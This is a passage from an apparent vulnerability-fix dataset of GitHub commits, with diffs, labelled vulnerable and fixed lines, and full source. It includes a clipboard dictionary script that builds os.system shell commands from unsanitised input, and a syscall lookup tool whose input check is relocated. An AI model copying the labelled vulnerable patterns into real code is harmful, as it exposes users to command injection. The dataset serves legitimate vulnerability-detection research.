dictionary.com:\\n{}\"'.format('\\n'.join(definitions)))", " os.system('notify-send \"Cant find that word on urbandictionary.com!\"' % word)", " os.system('notify-send \"Cant find that word on urbandictionary.com!\"' % word)"]}, {"diff": "\n for definition in dataURB[:3]:\n definitionsURB.append(definition['definition'])\n definitionsURB.append(\"------------\")\n- os.system('notify-send \"definitions from urbandictionary.com:[{}\\n{}\"'\\\n- .format(word+\"]\\n------------\",'\\n'.join(definitionsURB)))\n+ os.system('notify-send \"definitions from urbandictionary.com:\\n{}\"'.format('\\n'.join(definitionsURB)))\n os.system('notify-send \"Thank you for using define.py made by kelj0\"')\n \n \n", "add": 1, "remove": 2, "filename": "/SmallProjects/Define/define.py", "badparts": [" os.system('notify-send \"definitions from urbandictionary.com:[{}\\n{}\"'\\", " .format(word+\"]\\n------------\",'\\n'.join(definitionsURB)))"], "goodparts": [" os.system('notify-send \"definitions from urbandictionary.com:\\n{}\"'.format('\\n'.join(definitionsURB)))"]}], "source": "\n import requests,json,sys,os,pyperclip,re def cleanhtml(raw_html): cleanr=re.compile('<.*?>') cleantext=re.sub(cleanr, '', raw_html) return cleantext word=\"test\" def main(): global word print(\"Starting script... press 'ctrl+c' in terminal to turn off\") while True: if pyperclip.paste() !=word and len(pyperclip.paste().split())<5: word=pyperclip.paste() wordChc=False req=requests.get(\"https://api-portal.dictionary.com/dcom/pageData/%s\" % word) wordChcURB=False reqURB=requests.get('https://api.urbandictionary.com/v0/define?term=%s' % word) try: data=json.loads(req.text)['data']['content'][0]['entries'][0]['posBlocks'][0]['definitions'] except TypeError: os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word) wordChc=True except KeyError: os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word) wordChc=True if not wordChc: definitions=[] try: for definition in data[:3]: definitions.append(cleanhtml(definition['definition'])) definitions.append(\"------------\") os.system('notify-send \"definitions from dictionary.com:[{}\\n{}\"'\\ .format(word+\"]\\n------------\",'\\n'.join(definitions))) except KeyError: os.system('notify-send \"no results in dictionary.com\"') try: dataURB=json.loads(reqURB.text)['list'] except TypeError: os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word) wordChcURB=True except KeyError: os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word) wordChcURB=True if not wordChcURB: definitionsURB=[] for definition in dataURB[:3]: definitionsURB.append(definition['definition']) definitionsURB.append(\"------------\") os.system('notify-send \"definitions from urbandictionary.com:[{}\\n{}\"'\\ .format(word+\"]\\n------------\",'\\n'.join(definitionsURB))) os.system('notify-send \"Thank you for using define.py made by kelj0\"') if __name__=='__main__': main() ", "sourceWithComments": "#! /usr/bin/python3\n\nimport requests,json,sys,os,pyperclip,re\n\ndef cleanhtml(raw_html):\n cleanr = re.compile('<.*?>')\n cleantext = re.sub(cleanr, '', raw_html)\n return cleantext\n\nword = \"test\"\n\ndef main():\n global word\n print(\"Starting script... press 'ctrl+c' in terminal to turn off\")\n while True:\n if pyperclip.paste() != word and len(pyperclip.paste().split())<5:\n word = pyperclip.paste()\n wordChc=False\n req = requests.get(\"https://api-portal.dictionary.com/dcom/pageData/%s\" % word)\n wordChcURB = False\n reqURB=requests.get('https://api.urbandictionary.com/v0/define?term=%s' % word)\n try: \n data = json.loads(req.text)['data']['content'][0]['entries'][0]['posBlocks'][0]['definitions']\n except TypeError:\n os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word)\n wordChc = True\n except KeyError:\n os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word)\n wordChc = True\n\n if not wordChc:\n definitions = []\n try:\n for definition in data[:3]:\n definitions.append(cleanhtml(definition['definition']))\n definitions.append(\"------------\")\n os.system('notify-send \"definitions from dictionary.com:[{}\\n{}\"'\\\n .format(word+\"]\\n------------\",'\\n'.join(definitions)))\n except KeyError:\n os.system('notify-send \"no results in dictionary.com\"')\n try: \n dataURB = json.loads(reqURB.text)['list']\n except TypeError:\n os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word)\n wordChcURB = True\n except KeyError:\n os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word)\n wordChcURB = True\n\n if not wordChcURB: \n definitionsURB = []\n for definition in dataURB[:3]:\n definitionsURB.append(definition['definition'])\n definitionsURB.append(\"------------\")\n os.system('notify-send \"definitions from urbandictionary.com:[{}\\n{}\"'\\\n .format(word+\"]\\n------------\",'\\n'.join(definitionsURB)))\n os.system('notify-send \"Thank you for using define.py made by kelj0\"')\n\n\nif __name__ == '__main__':\n main()\n"}}, "msg": "fix command injection"}}, "https://github.com/martinclauss/syscall_number": {"baa63906321a0e8514160bfa1731983d43b4cbc7": {"url": "https://api.github.com/repos/martinclauss/syscall_number/commits/baa63906321a0e8514160bfa1731983d43b4cbc7", "html_url": "https://github.com/martinclauss/syscall_number/commit/baa63906321a0e8514160bfa1731983d43b4cbc7", "message": "small fix to avoid command injections in syscall_name ;)", "sha": "baa63906321a0e8514160bfa1731983d43b4cbc7", "keyword": "command injection fix", "diff": "diff --git a/syscall_number/syscall_number.py b/syscall_number/syscall_number.py\nindex 960e557..d612b7a 100755\n--- a/syscall_number/syscall_number.py\n+++ b/syscall_number/syscall_number.py\n@@ -139,9 +139,6 @@ def print_all_syscalls(syscalls):\n \n \n def print_single_syscall(syscall_name, syscalls, quiet):\n- if syscall_name not in syscalls.keys():\n- raise ValueError(\"The syscall name you provided is not available!\")\n-\n if quiet:\n print(syscalls[syscall_name])\n else:\n@@ -214,6 +211,9 @@ def main(syscall_name, bitness, all_syscalls, quiet, man_page):\n if all_syscalls:\n print_all_syscalls(syscalls)\n else:\n+ if syscall_name not in syscalls.keys():\n+ raise ValueError(\"The syscall name you provided is not available!\")\n+\n print_single_syscall(syscall_name, syscalls, quiet)\n \n if man_page:\n", "files": {"/syscall_number/syscall_number.py": {"changes": [{"diff": "\n \n \n def print_single_syscall(syscall_name, syscalls, quiet):\n- if syscall_name not in syscalls.keys():\n- raise ValueError(\"The syscall name you provided is not available!\")\n-\n if quiet:\n print(syscalls[syscall_name])\n else:\n", "add": 0, "remove": 3, "filename": "/syscall_number/syscall_number.py", "badparts": [" if syscall_name not in syscalls.keys():", " raise ValueError(\"The syscall name you provided is not available!\")"], "goodparts": []}], "source": "\n import json import os import pathlib import re import shlex import subprocess import sys from collections import OrderedDict from operator import itemgetter import click CONFIG={ \"syscall_header_file\": \"/usr/include/bits/syscall.h\", \"cache_file_32bit\": \"{}/.cache/syscall_number/32bit.json\".format(os.environ[\"HOME\"]), \"cache_file_64bit\": \"{}/.cache/syscall_number/64bit.json\".format(os.environ[\"HOME\"]), } BITNESS_32=\"32\" BITNESS_64=\"64\" def read_file_content(file_path): try: return pathlib.Path(file_path).read_text() except(FileNotFoundError, UnicodeDecodeError): raise RuntimeError(\"Error(s) reading from file{}\".format(file_path)) def write_file_content(file_path, data): try: return pathlib.Path(file_path).write_text(data) except(FileNotFoundError, UnicodeDecodeError): raise RuntimeError(\"Error(s) writing to file{}\".format(file_path)) def parse_syscall_names(): syscall_names=[] syscall_name_regex=re.compile(r\"^.+SYS_(?P[^]+)\") try: content=read_file_content(CONFIG[\"syscall_header_file\"]) except RuntimeError as error: raise error for line in content.split(\"\\n\"): match=syscall_name_regex.match(line) if match: syscall_names.append(match.group(\"syscall_name\")) return syscall_names def check_program(program_name): try: output=subprocess.check_output(\"which{}\".format(program_name).split(), shell=False) except OSError: output=\"\" return output !=\"\" def check_sane_integer(syscall_number): try: syscall_integer=int(syscall_number) if not 0 <=syscall_integer <=999: return False except ValueError: return False return True def get_syscall_number(syscall_name, bitness): if bitness==BITNESS_32: cflags=\"-m32\" else: cflags=\"\" gcc_process=subprocess.Popen(shlex.split(\"gcc{} -E -\".format(cflags)), stdin=subprocess.PIPE, stdout=subprocess.PIPE) gcc_process.stdin.write(b\" stdout, _=gcc_process.communicate() syscall_number_string=stdout.split(b\"\\n\")[-2].decode() if not check_sane_integer(syscall_number_string): return -1 return int(syscall_number_string) def generate_syscalls(syscall_names, bitness): syscalls={} for syscall_name in syscall_names: syscalls[syscall_name]=get_syscall_number(syscall_name, bitness) return OrderedDict(sorted(syscalls.items(), key=itemgetter(1))) def cache_files_exist(): return pathlib.Path(CONFIG[\"cache_file_32bit\"]).exists() and pathlib.Path(CONFIG[\"cache_file_64bit\"]).exists() def check_cache(): if cache_files_exist(): syscalls_32bit=json.loads(read_file_content(CONFIG[\"cache_file_32bit\"])) syscalls_64bit=json.loads(read_file_content(CONFIG[\"cache_file_64bit\"])) else: syscall_names=parse_syscall_names() syscalls_32bit=generate_syscalls(syscall_names, BITNESS_32) syscalls_64bit=generate_syscalls(syscall_names, BITNESS_64) write_file_content(CONFIG[\"cache_file_32bit\"], json.dumps(syscalls_32bit)) write_file_content(CONFIG[\"cache_file_64bit\"], json.dumps(syscalls_64bit)) return syscalls_32bit, syscalls_64bit def print_all_syscalls(syscalls): for syscall_name, syscall_number in syscalls.items(): if syscall_number==-1: continue print(\"{0:3}(0x{0:X}):{1}\".format(syscall_number, syscall_name)) def print_single_syscall(syscall_name, syscalls, quiet): if syscall_name not in syscalls.keys(): raise ValueError(\"The syscall name you provided is not available!\") if quiet: print(syscalls[syscall_name]) else: print(\"The syscall number for{0} is:{1}(0x{1:X})\".format( syscall_name, syscalls[syscall_name], )) def check_cache_directory(): directory=\"{}/.cache/syscall_number\".format(os.environ[\"HOME\"]) if not pathlib.Path(directory).exists(): os.mkdir(directory) def check_syscall_header_file(): if not pathlib.Path(CONFIG[\"syscall_header_file\"]).exists(): raise RuntimeError(\"Install gcc with 32bit support: https://github.com/martinclauss/syscall_number def print_man_page_info(syscall_name): man_environment_variables={ \"MANPAGER\": \"cat\", \"COLUMNS\": \"80\" } command=\"man 2{}\".format(syscall_name) process=subprocess.Popen(command.split(), stdout=subprocess.PIPE, env=man_environment_variables) stdout, _=process.communicate() stdout=stdout.decode() information_regex=re.compile(r\"(NAME(.|\\n)+)\\n\\nDESCRIPTION\") match=information_regex.search(stdout) if match: man_text=\"\\n\" man_text +=match.group(1) man_text +=\"\\n\\n...for more details run \\\"{}\\\"\".format(command) else: man_text=\"no man page info available\" print(man_text) @click.command() @click.option(\"-s\", \"--syscall-name\", \"syscall_name\", help=\"The name of the syscall you want the number for.\") @click.option(\"-b\", \"--bitness\", required=True, type=click.Choice([BITNESS_32, BITNESS_64]), help=\"Bitness, for example, 32 or 64\") @click.option(\"-a\", \"--all\", \"all_syscalls\", is_flag=True, help=\"Print the whole system call table for the current machine.\") @click.option(\"-q\", \"--quiet\", is_flag=True, help=\"Just output the number in decimal without any additional text.\") @click.option(\"-m\", \"--man-page\", \"man_page\", is_flag=True, help=\"Print a part of the man page for the queried system call.\") def main(syscall_name, bitness, all_syscalls, quiet, man_page): try: if not check_program(\"gcc\"): raise RuntimeError(\"This script needs gcc to be installed!\") check_cache_directory() check_syscall_header_file() syscalls_32bit, syscalls_64bit=check_cache() if bitness==BITNESS_32: syscalls=syscalls_32bit else: syscalls=syscalls_64bit if all_syscalls: print_all_syscalls(syscalls) else: print_single_syscall(syscall_name, syscalls, quiet) if man_page: print_man_page_info(syscall_name) except(ValueError, RuntimeError) as error: print(str(error)) sys.exit(1) sys.exit(0) if __name__==\"__main__\": main() ", "sourceWithComments": "#!/usr/bin/env python3\n\n# pylint: disable=line-too-long\n# pylint: disable=missing-docstring\n# flake8: max-line-length = 120\n\n\nimport json\nimport os\nimport pathlib\nimport re\nimport shlex\nimport subprocess\nimport sys\n\nfrom collections import OrderedDict\nfrom operator import itemgetter\n\nimport click\n\n\nCONFIG = {\n \"syscall_header_file\": \"/usr/include/bits/syscall.h\",\n \"cache_file_32bit\": \"{}/.cache/syscall_number/32bit.json\".format(os.environ[\"HOME\"]),\n \"cache_file_64bit\": \"{}/.cache/syscall_number/64bit.json\".format(os.environ[\"HOME\"]),\n}\n\n\nBITNESS_32 = \"32\"\nBITNESS_64 = \"64\"\n\n\ndef read_file_content(file_path):\n try:\n return pathlib.Path(file_path).read_text()\n except (FileNotFoundError, UnicodeDecodeError):\n raise RuntimeError(\"Error(s) reading from file {}\".format(file_path))\n\n\ndef write_file_content(file_path, data):\n try:\n return pathlib.Path(file_path).write_text(data)\n except (FileNotFoundError, UnicodeDecodeError):\n raise RuntimeError(\"Error(s) writing to file {}\".format(file_path))\n\n\ndef parse_syscall_names():\n syscall_names = []\n\n syscall_name_regex = re.compile(r\"^.+SYS_(?P[^ ]+)\")\n\n try:\n content = read_file_content(CONFIG[\"syscall_header_file\"])\n except RuntimeError as error:\n raise error\n\n for line in content.split(\"\\n\"):\n match = syscall_name_regex.match(line)\n\n if match:\n syscall_names.append(match.group(\"syscall_name\"))\n\n return syscall_names\n\n\ndef check_program(program_name):\n try:\n output = subprocess.check_output(\"which {}\".format(program_name).split(), shell=False)\n except OSError:\n output = \"\"\n\n return output != \"\"\n\n\ndef check_sane_integer(syscall_number):\n try:\n syscall_integer = int(syscall_number)\n\n if not 0 <= syscall_integer <= 999:\n return False\n\n except ValueError:\n return False\n\n return True\n\n\ndef get_syscall_number(syscall_name, bitness):\n if bitness == BITNESS_32:\n cflags = \"-m32\"\n else:\n cflags = \"\"\n\n gcc_process = subprocess.Popen(shlex.split(\"gcc {} -E -\".format(cflags)), stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n gcc_process.stdin.write(b\"#include \\nSYS_%s\" % syscall_name.encode())\n stdout, _ = gcc_process.communicate()\n\n syscall_number_string = stdout.split(b\"\\n\")[-2].decode()\n\n if not check_sane_integer(syscall_number_string):\n return -1\n\n return int(syscall_number_string)\n\n\ndef generate_syscalls(syscall_names, bitness):\n syscalls = {}\n\n for syscall_name in syscall_names:\n syscalls[syscall_name] = get_syscall_number(syscall_name, bitness)\n\n return OrderedDict(sorted(syscalls.items(), key=itemgetter(1)))\n\n\ndef cache_files_exist():\n return pathlib.Path(CONFIG[\"cache_file_32bit\"]).exists() and pathlib.Path(CONFIG[\"cache_file_64bit\"]).exists()\n\n\ndef check_cache():\n if cache_files_exist():\n syscalls_32bit = json.loads(read_file_content(CONFIG[\"cache_file_32bit\"]))\n syscalls_64bit = json.loads(read_file_content(CONFIG[\"cache_file_64bit\"]))\n else:\n syscall_names = parse_syscall_names()\n syscalls_32bit = generate_syscalls(syscall_names, BITNESS_32)\n syscalls_64bit = generate_syscalls(syscall_names, BITNESS_64)\n write_file_content(CONFIG[\"cache_file_32bit\"], json.dumps(syscalls_32bit))\n write_file_content(CONFIG[\"cache_file_64bit\"], json.dumps(syscalls_64bit))\n\n return syscalls_32bit, syscalls_64bit\n\n\ndef print_all_syscalls(syscalls):\n for syscall_name, syscall_number in syscalls.items():\n if syscall_number == -1: # filter out n/a syscall numbers\n continue\n\n print(\"{0:3} (0x{0:X}): {1}\".format(syscall_number, syscall_name))\n\n\ndef print_single_syscall(syscall_name, syscalls, quiet):\n if syscall_name not in syscalls.keys():\n raise ValueError(\"The syscall name you provided is not available!\")\n\n if quiet:\n print(syscalls[syscall_name])\n else:\n print(\"The syscall number for {0} is: {1} (0x{1:X})\".format(\n syscall_name,\n syscalls[syscall_name],\n ))\n\n\ndef check_cache_directory():\n directory = \"{}/.cache/syscall_number\".format(os.environ[\"HOME\"])\n\n if not pathlib.Path(directory).exists():\n os.mkdir(directory)\n\n\ndef check_syscall_header_file():\n if not pathlib.Path(CONFIG[\"syscall_header_file\"]).exists():\n raise RuntimeError(\"Install gcc with 32bit support: https://github.com/martinclauss/syscall_number#gcc-with-32bit-support\")\n\n\ndef print_man_page_info(syscall_name):\n man_environment_variables = {\n \"MANPAGER\": \"cat\",\n \"COLUMNS\": \"80\"\n }\n\n command = \"man 2 {}\".format(syscall_name)\n process = subprocess.Popen(command.split(), stdout=subprocess.PIPE, env=man_environment_variables)\n stdout, _ = process.communicate()\n\n stdout = stdout.decode()\n information_regex = re.compile(r\"(NAME(.|\\n)+)\\n\\nDESCRIPTION\")\n\n match = information_regex.search(stdout)\n\n if match:\n man_text = \"\\n\"\n man_text += match.group(1)\n man_text += \"\\n\\n...for more details run \\\"{}\\\"\".format(command)\n else:\n man_text = \"no man page info available\"\n\n print(man_text)\n\n\n@click.command()\n@click.option(\"-s\", \"--syscall-name\", \"syscall_name\", help=\"The name of the syscall you want the number for.\")\n@click.option(\"-b\", \"--bitness\",\n required=True, type=click.Choice([BITNESS_32, BITNESS_64]), help=\"Bitness, for example, 32 or 64\")\n@click.option(\"-a\", \"--all\", \"all_syscalls\",\n is_flag=True, help=\"Print the whole system call table for the current machine.\")\n@click.option(\"-q\", \"--quiet\", is_flag=True, help=\"Just output the number in decimal without any additional text.\")\n@click.option(\"-m\", \"--man-page\", \"man_page\", is_flag=True, help=\"Print a part of the man page for the queried system call.\")\ndef main(syscall_name, bitness, all_syscalls, quiet, man_page):\n try:\n if not check_program(\"gcc\"):\n raise RuntimeError(\"This script needs gcc to be installed!\")\n\n check_cache_directory()\n check_syscall_header_file()\n\n syscalls_32bit, syscalls_64bit = check_cache()\n\n if bitness == BITNESS_32:\n syscalls = syscalls_32bit\n else:\n syscalls = syscalls_64bit\n\n if all_syscalls:\n print_all_syscalls(syscalls)\n else:\n print_single_syscall(syscall_name, syscalls, quiet)\n\n if man_page:\n print_man_page_info(syscall_name)\n\n except (ValueError, RuntimeError) as error:\n print(str(error))\n sys.exit(1)\n\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n # pylint: disable=no-value-for-parameter\n main()\n"}}, "msg": "small fix to avoid command injections in syscall_name ;)"}}, "https://github.com/PromyLOPh/crocoite": {"4905ac083b5f570988446a2b9dde3a8747020f1a": {"url": "https://api.github.com/repos/PromyLOPh/crocoite/commits/4905ac083b5f570988446a2b9dde3a8747020f1a", "html_url": "https://github.com/PromyLOPh/crocoite/commit/4905ac083b5f570988446a2b9dde3a8747020f1a", "message": "Cookie injection support\n\nAdd command-line options injecting individual cookies or cookie file\ninto Chrome. Provide default cookie file.\n\nThis changes the IRC bot\u2019s command splitting to shlex.split, which\nallows shell-like argument quoting.\n\nFixes #7.", "sha": "4905ac083b5f570988446a2b9dde3a8747020f1a", "keyword": "command injection fix", "diff": "diff --git a/crocoite/cli.py b/crocoite/cli.py\nindex 93b742b..53a0b32 100644\n--- a/crocoite/cli.py\n+++ b/crocoite/cli.py\n@@ -26,6 +26,8 @@\n from traceback import TracebackException\n from enum import IntEnum\n from yarl import URL\n+from http.cookies import SimpleCookie\n+import pkg_resources\n try:\n import manhole\n manhole.install (patch_fork=False, oneshot_on='USR1')\n@@ -49,6 +51,29 @@ def absurl (s):\n return u\n raise argparse.ArgumentTypeError ('Must be absolute')\n \n+def cookie (s):\n+ \"\"\" argparse: Cookie \"\"\"\n+ c = SimpleCookie (s)\n+ # for some reason the constructor does not raise an exception if the cookie\n+ # supplied is invalid. It\u2019ll simply be empty.\n+ if len (c) != 1:\n+ raise argparse.ArgumentTypeError ('Invalid cookie')\n+ # we want a single Morsel\n+ return next (iter (c.values ()))\n+\n+def cookiejar (f):\n+ \"\"\" argparse: Cookies from file \"\"\"\n+ cookies = []\n+ try:\n+ with open (f, 'r') as fd:\n+ for l in fd:\n+ l = l.lstrip ()\n+ if l and not l.startswith ('#'):\n+ cookies.append (cookie (l))\n+ except FileNotFoundError:\n+ raise argparse.ArgumentTypeError (f'Cookie jar \"{f}\" does not exist')\n+ return cookies\n+\n class SingleExitStatus(IntEnum):\n \"\"\" Exit status for single-shot command line \"\"\"\n Ok = 0\n@@ -68,9 +93,16 @@ def single ():\n metavar='NAME', nargs='*')\n parser.add_argument('--warcinfo', help='Add extra information to warcinfo record',\n metavar='JSON', type=json.loads)\n+ # re-using curl\u2019s short/long switch names whenever possible\n parser.add_argument('-k', '--insecure',\n action='store_true',\n help='Disable certificate validation')\n+ parser.add_argument ('-b', '--cookie', type=cookie, metavar='SET-COOKIE',\n+ action='append', default=[], help='Cookies in Set-Cookie format.')\n+ parser.add_argument ('-c', '--cookie-jar', dest='cookieJar',\n+ type=cookiejar, metavar='FILE',\n+ default=pkg_resources.resource_filename (__name__, 'data/cookies.txt'),\n+ help='Cookie jar file, read-only.')\n parser.add_argument('url', help='Website URL', type=absurl, metavar='URL')\n parser.add_argument('output', help='WARC filename', metavar='FILE')\n \n@@ -86,6 +118,7 @@ def single ():\n idleTimeout=args.idleTimeout,\n timeout=args.timeout,\n insecure=args.insecure,\n+ cookies=args.cookieJar + args.cookie,\n )\n with open (args.output, 'wb') as fd, WarcHandler (fd, logger) as warcHandler:\n logger.connect (WarcHandlerConsumer (warcHandler))\ndiff --git a/crocoite/controller.py b/crocoite/controller.py\nindex 2a848e8..4c9c4b3 100644\n--- a/crocoite/controller.py\n+++ b/crocoite/controller.py\n@@ -33,21 +33,19 @@\n from .browser import SiteLoader, RequestResponsePair, PageIdle, FrameNavigated\n from .util import getFormattedViewportMetrics, getSoftwareInfo\n from .behavior import ExtractLinksEvent\n+from .devtools import toCookieParam\n \n class ControllerSettings:\n- __slots__ = ('idleTimeout', 'timeout', 'insecure')\n+ __slots__ = ('idleTimeout', 'timeout', 'insecure', 'cookies')\n \n- def __init__ (self, idleTimeout=2, timeout=10, insecure=False):\n+ def __init__ (self, idleTimeout=2, timeout=10, insecure=False, cookies=None):\n self.idleTimeout = idleTimeout\n self.timeout = timeout\n self.insecure = insecure\n+ self.cookies = cookies or []\n \n- def toDict (self):\n- return dict (\n- idleTimeout=self.idleTimeout,\n- timeout=self.timeout,\n- insecure=self.insecure,\n- )\n+ def __repr__ (self):\n+ return f''\n \n defaultSettings = ControllerSettings ()\n \n@@ -212,6 +210,7 @@ def __init__ (self, url, logger, \\\n # configure browser\n tab = l.tab\n await tab.Security.setIgnoreCertificateErrors (ignore=self.settings.insecure)\n+ await tab.Network.setCookies (cookies=list (map (toCookieParam, self.settings.cookies)))\n \n # not all behavior scripts are allowed for every URL, filter them\n self._enabledBehavior = list (filter (lambda x: self.url in x,\n@@ -232,6 +231,7 @@ def __init__ (self, url, logger, \\\n 'timeout': self.settings.timeout,\n 'behavior': list (map (attrgetter('name'), self._enabledBehavior)),\n 'insecure': self.settings.insecure,\n+ 'cookies': list (map (lambda x: x.OutputString(), self.settings.cookies)),\n },\n }\n if self.warcinfo:\ndiff --git a/crocoite/data/cookies.txt b/crocoite/data/cookies.txt\nnew file mode 100644\nindex 0000000..6ac62c3\n--- /dev/null\n+++ b/crocoite/data/cookies.txt\n@@ -0,0 +1,9 @@\n+# Default cookies for crocoite. This file does *not* use Netscape\u2019s cookie\n+# file format. Lines are expected to be in Set-Cookie format.\n+# And this line is a comment.\n+\n+# Reddit:\n+# skip over 18 prompt\n+over18=1; Domain=www.reddit.com\n+# skip quarantined subreddit prompt\n+_options={%22pref_quarantine_optin%22:true}; Domain=www.reddit.com\ndiff --git a/crocoite/devtools.py b/crocoite/devtools.py\nindex 412ab08..05680f1 100644\n--- a/crocoite/devtools.py\n+++ b/crocoite/devtools.py\n@@ -25,6 +25,8 @@\n import json, asyncio, logging, os\n from tempfile import mkdtemp\n import shutil\n+from http.cookies import Morsel\n+\n import aiohttp, websockets\n from yarl import URL\n \n@@ -366,3 +368,26 @@ def __init__ (self, url):\n async def __aexit__ (self, *exc):\n return False\n \n+def toCookieParam (m):\n+ \"\"\"\n+ Convert Python\u2019s http.cookies.Morsel to Chrome\u2019s CookieParam, see\n+ https://chromedevtools.github.io/devtools-protocol/1-3/Network#type-CookieParam\n+ \"\"\"\n+\n+ assert isinstance (m, Morsel)\n+\n+ out = {'name': m.key, 'value': m.value}\n+\n+ # unsupported by chrome\n+ for k in ('max-age', 'comment', 'version'):\n+ if m[k]:\n+ raise ValueError (f'Unsupported cookie attribute {k} set, cannot convert')\n+\n+ for mname, cname in [('expires', None), ('path', None), ('domain', None), ('secure', None), ('httponly', 'httpOnly')]:\n+ value = m[mname]\n+ if value:\n+ cname = cname or mname\n+ out[cname] = value\n+\n+ return out\n+\ndiff --git a/crocoite/irc.py b/crocoite/irc.py\nindex bd13831..d9c0634 100644\n--- a/crocoite/irc.py\n+++ b/crocoite/irc.py\n@@ -22,7 +22,7 @@\n IRC bot \u201cchromebot\u201d\n \"\"\"\n \n-import asyncio, argparse, json, tempfile, time, random, os\n+import asyncio, argparse, json, tempfile, time, random, os, shlex\n from datetime import datetime\n from urllib.parse import urlsplit\n from enum import IntEnum, unique\n@@ -33,6 +33,7 @@\n import websockets\n \n from .util import StrJsonEncoder\n+from .cli import cookie\n \n ### helper functions ###\n def prettyTimeDelta (seconds):\n@@ -366,12 +367,13 @@ def parseMode (mode):\n \n async def onMessage (self, nick, target, message, **kwargs):\n \"\"\" Message received \"\"\"\n- if target in self.channels and message.startswith (self.nick + ':'):\n+ msgPrefix = self.nick + ':'\n+ if target in self.channels and message.startswith (msgPrefix):\n user = self.users[target].get (nick, User (nick))\n reply = ReplyContext (client=self, target=target, user=user)\n \n- # channel message that starts with our nick\n- command = message.split (' ')[1:]\n+ # shlex.split supports quoting arguments, which str.split() does not\n+ command = shlex.split (message[len (msgPrefix):])\n try:\n args = self.parser.parse_args (command)\n except Exception as e:\n@@ -439,13 +441,14 @@ def getParser (self):\n subparsers = parser.add_subparsers(help='Sub-commands')\n \n archiveparser = subparsers.add_parser('a', help='Archive a site', add_help=False)\n- #archiveparser.add_argument('--timeout', default=1*60*60, type=int, help='Maximum time for archival', metavar='SEC', choices=[60, 1*60*60, 2*60*60])\n- #archiveparser.add_argument('--idle-timeout', default=10, type=int, help='Maximum idle seconds (i.e. no requests)', dest='idleTimeout', metavar='SEC', choices=[1, 10, 20, 30, 60])\n- #archiveparser.add_argument('--max-body-size', default=None, type=int, dest='maxBodySize', help='Max body size', metavar='BYTES', choices=[1*1024*1024, 10*1024*1024, 100*1024*1024])\n archiveparser.add_argument('--concurrency', '-j', default=1, type=int, help='Parallel workers for this job', choices=range (1, 5))\n archiveparser.add_argument('--recursive', '-r', help='Enable recursion', choices=['0', '1', 'prefix'], default='0')\n archiveparser.add_argument('--insecure', '-k',\n help='Disable certificate checking', action='store_true')\n+ # parsing the cookie here, so we can give an early feedback without\n+ # waiting for the job to crash on invalid arguments.\n+ archiveparser.add_argument('--cookie', '-b', type=cookie,\n+ help='Add a cookie', action='append', default=[])\n archiveparser.add_argument('url', help='Website URL', type=isValidUrl, metavar='URL')\n archiveparser.set_defaults (func=self.handleArchive,\n minPriv=NickMode.voice if self.needVoice else None)\n@@ -501,12 +504,14 @@ def isBlacklisted (self, url):\n 'concurrency': args.concurrency,\n }}\n grabCmd = ['crocoite-single']\n+ # prefix warcinfo with !, so it won\u2019t get expanded\n grabCmd.extend (['--warcinfo',\n '!' + json.dumps (warcinfo, cls=StrJsonEncoder)])\n+ for v in args.cookie:\n+ grabCmd.extend (['--cookie', v.OutputString ()])\n if args.insecure:\n grabCmd.append ('--insecure')\n grabCmd.extend (['{url}', '{dest}'])\n- # prefix warcinfo with !, so it won\u2019t get expanded\n cmdline = ['crocoite',\n '--tempdir', self.tempdir,\n '--recursion', args.recursive,\ndiff --git a/crocoite/test_controller.py b/crocoite/test_controller.py\nindex 7e79dbe..7216a42 100644\n--- a/crocoite/test_controller.py\n+++ b/crocoite/test_controller.py\n@@ -151,3 +151,53 @@ def test_set_entry ():\n end = loop.time ()\n assert (timeout-delta) < (end-start) < (timeout+delta)\n \n+@pytest.fixture\n+async def recordingServer ():\n+ \"\"\" Simple HTTP server that records raw requests \"\"\"\n+ url = URL ('http://localhost:8080')\n+ reqs = []\n+ async def record (request):\n+ reqs.append (request)\n+ return web.Response(text='ok', content_type='text/plain')\n+ app = web.Application()\n+ app.add_routes([web.get(url.path, record)])\n+ runner = web.AppRunner(app)\n+ await runner.setup()\n+ site = web.TCPSite (runner, url.host, url.port)\n+ await site.start()\n+ yield url, reqs\n+ await runner.cleanup ()\n+\n+from .test_devtools import tab, browser\n+from http.cookies import Morsel, SimpleCookie\n+\n+@pytest.mark.asyncio\n+async def test_set_cookies (tab, recordingServer):\n+ \"\"\" Make sure cookies are set properly and only affect the domain they were\n+ set for \"\"\"\n+\n+ logger = Logger ()\n+\n+ url, reqs = recordingServer\n+\n+ cookies = []\n+ c = Morsel ()\n+ c.set ('foo', 'bar', '')\n+ c['domain'] = 'localhost'\n+ cookies.append (c)\n+ c = Morsel ()\n+ c.set ('buz', 'beef', '')\n+ c['domain'] = 'nonexistent.example'\n+\n+ settings = ControllerSettings (idleTimeout=1, timeout=60, cookies=cookies)\n+ controller = SinglePageController (url=url, logger=logger,\n+ service=Process (), behavior=[], settings=settings)\n+ await asyncio.wait_for (controller.run (), settings.timeout*2)\n+ \n+ assert len (reqs) == 1\n+ req = reqs[0]\n+ reqCookies = SimpleCookie (req.headers['cookie'])\n+ assert len (reqCookies) == 1\n+ c = next (iter (reqCookies.values ()))\n+ assert c.key == cookies[0].key\n+ assert c.value == cookies[0].value\ndiff --git a/doc/usage.rst b/doc/usage.rst\nindex 9bba693..c18f9fb 100644\n--- a/doc/usage.rst\n+++ b/doc/usage.rst\n@@ -24,6 +24,8 @@ Otherwise page screenshots may be unusable due to missing glyphs.\n Recursion\n ^^^^^^^^^\n \n+.. program:: crocoite\n+\n By default crocoite will only retrieve the URL specified on the command line.\n However it can follow links as well. There\u2019s currently two recursion strategies\n available, depth- and prefix-based.\n@@ -59,16 +61,18 @@ each page of a single job and should always be used.\n \n When running a recursive job, increasing the concurrency (i.e. how many pages\n are fetched at the same time) can speed up the process. For example you can\n-pass :option:`-j 4` to retrieve four pages at the same time. Keep in mind that each\n-process starts a full browser that requires a lot of resources (one to two GB\n-of RAM and one or two CPU cores).\n+pass :option:`-j` :samp:`4` to retrieve four pages at the same time. Keep in mind\n+that each process starts a full browser that requires a lot of resources (one\n+to two GB of RAM and one or two CPU cores).\n \n Customizing\n 